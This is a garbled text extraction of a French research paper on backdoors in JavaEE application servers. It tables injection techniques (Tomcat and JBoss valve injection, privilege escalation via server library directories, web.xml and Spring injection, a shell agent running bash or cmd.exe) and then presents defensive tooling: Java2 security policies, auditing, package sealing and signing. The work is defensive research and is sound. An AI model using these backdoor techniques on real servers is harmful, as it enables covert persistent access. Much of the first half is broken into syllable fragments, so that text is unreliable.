Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

